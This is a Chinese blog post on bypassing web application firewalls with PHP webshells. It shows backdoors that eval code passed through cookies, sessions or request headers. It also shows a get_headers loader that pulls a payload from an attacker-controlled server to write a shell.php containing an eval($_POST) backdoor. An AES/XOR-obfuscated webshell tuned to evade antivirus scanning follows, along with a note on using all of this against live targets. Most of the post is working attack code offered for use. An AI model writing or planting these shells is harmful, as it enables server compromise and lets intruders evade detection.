当前位置:网站首页>PHP利用某些函数bypass waf探讨
PHP利用某些函数bypass waf探讨
2022-07-27 23:29:00 【goddemon】
前言:
前几天写了一篇文章,由黑到白 这篇文章中用到echo的一个特性去一步一步写马
看师傅们的评论然后去研究了下原因
学到了很多
比如linux写shell少了
POST的原因和解决思路如下还有就是base64不存在的原因以及wget和nc为啥反弹不了的原因
也在这里发觉到了一个师傅说的一个问题点, P O S T 空 格 以 及 _POST 空格以及 POST空格以及这些字符都写不进去 也恰好看到了微信公众号里面有个师傅写了篇文章
链接如下
https://mp.weixin.qq.com/s/hRwYtDZ-dqqznhS3LdSxUA
里面提到了一个tips
利用get_headers绕过了waf 顿时引来了自己的兴趣,因为目前的很多waf是基于post包和get包来拦截的 如果我把参数内容可控到header头里面不就能稳稳的过了嘛
就开始研究了下这种tips用于实战,发觉还是蛮有趣的这里分享给大家
正文
原理的话:个人理解的话感觉跟中转马有点像 这是这个可以突破的限制条件更多。
1.代码层次过滤了post以及get
这种绕过蛮简单的 直接把参数去session或者cookie中或者headers中即可绕过了
#cookie传参
<?php
eval(base64_decode($_COOKIE["PHPSESSID"]));
?>
#session传参
<?php
eval($_SESSION['dmeo']=base64_decode($_COOKIE["PHPSESSID"]));
?>

2.代码层过滤了$ _ POST GET内容
思路方法1
利用getallheadrs去绕过
适用于php版本大于5.5以上的
<?php
session_start();
eval(getallheaders()['Demo']);
?>
5.5以下的好像不存在这个函数
5.5以上的
思路方法2
利用get_headers
服务器内容如下(后面的base64里面的可变成想要的如冰蝎的base64加密也可)
<?php
header('assert');
header("file_put_contents('shell.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7ID8+'))");
马内容如下 适用于7.1以下 这个用的assert 如果要高版本适用的话直接指定eval和assert即可
<?php
$a=get_headers('http://服务器/1.php');
$b=str_replace(":","",$a[6]);
$b=str_replace(" ","",$b);
$x=str_replace(":","",$a[7]);
$x=str_replace(" ","",$x);
$b($x);
?>
<?php
$a=get_headers('http://服务器/1.php');
$x=str_replace(":","",$a[7]);
$x=str_replace(" ","",$x);
eval($x);
?>
然后访问3.php即可成功创建shell.php
d盾查杀效果1
这里没做免杀 想做静动态的免杀的话 其实也是可以的 稍微改下即可
可以结合这个加密算法改进下即可 动态即可过
给大家抛砖引玉扔一个加密算法+shellcode静态免杀的 动态可过60跟这个改即可
这个是加密算法a.php
<?php
$key1 = '123456';
$key = "password";
$fun = $_GET['func'];
for($i=0;$i<strlen($fun);$i++){
$fun[$i] = $fun[$i]^$key[$i+1&7];
}
echo $fun;
$encrypt = openssl_encrypt($fun, 'AES-128-ECB', $key1, 0);
echo "加密后: ".$encrypt;
?>
这个是shellcode的
shell.php
<?php
function b(){
$x = "password";
$key1 = '123456';
$fun = openssl_decrypt($_GET['func'], 'AES-128-ECB', $key1, 0);
for($i=0;$i<strlen($fun);$i++){
$z= $fun[$i] ;
$fun[$i] =$z^$x[$i+1&7];
}
return $fun;
}
function a(){
eval(b());
}
a();



实战
结合追加的思路来组合打 一步一步写内容进去即可完成了
多次追加写入后把内容写进去后 然后进行访问即获取到shell了
边栏推荐
- Count the number of given strings in a string
- Codeforces summer training weekly (7.21~7.27)
- Oxygen temperature and humidity module
- Detailed explanation of retinanet network structure
- 2022/07/27 learning notes (Day17) code blocks and internal classes
- Matlab drawing - points and vectors: method and source code of vector addition and subtraction
- URDF 集成 Gazebo
- 逻辑回归原理
- Knowledge of two-dimensional array
- 激光器芯片厂商陕西源杰半导体获广发证券、中信证券等8家投资机构入股
猜你喜欢

Lua快速上手

氧气温湿度模组

Flutter 通话界面UI

《安富莱嵌入式周报》第275期:2022.07.18--2022.07.24

2022/07/27 learning notes (Day17) code blocks and internal classes

How the test architects of bat factories interpret various disputes of the test platform

Unity Shader入门精要学习——基础纹理

【C语言】文件操作

工具函数:把一个工作区中非空字段值付给另一个工作区相同字段

Develop plug-ins for the recording function of flutter
随机推荐
BYD semiconductor completed the a+ round financing of 800million yuan: 30 well-known investment institutions entered the market, with a valuation of 10.2 billion yuan!
糟糕程序员的20个坏习惯
Summary of common shortcut keys in idea
Huawei's Hubble investment shares in VCSEL chip manufacturer Zonghui Xinguang
Lua快速上手
Count the number of given strings in a string
Harmonyos 3 was officially released: Hongmeng mobile phones are smooth and safe, and Hongmeng terminals are often used
Arm中国夺权大战的背后:“独立”两年,仍难“自主”?
Detailed explanation of retinanet network structure
国产NB-IoT芯片厂商芯翼信息科技获2亿元A+轮融资
Day 013 一维数组练习
Cesium add inundation analysis measurement area
MySQL进阶--存储过程以及自定义函数
4月全球智能手机出货同比下滑41%,华为首次超三星成全球第一
Gazebo control example
Byte monthly salary 28K, share a wave of my automation testing experience
软件测试面试题:你们的性能测试需求哪里来?
Meguiar sued liandian for secret theft and sentenced: liandian was fined NT $100million and three employees were sentenced!
Can anime characters become "real people"? Paddegan helps you find the TA of "tear man"
S-RPN: Sampling-balanced region proposal network for small crop pest detection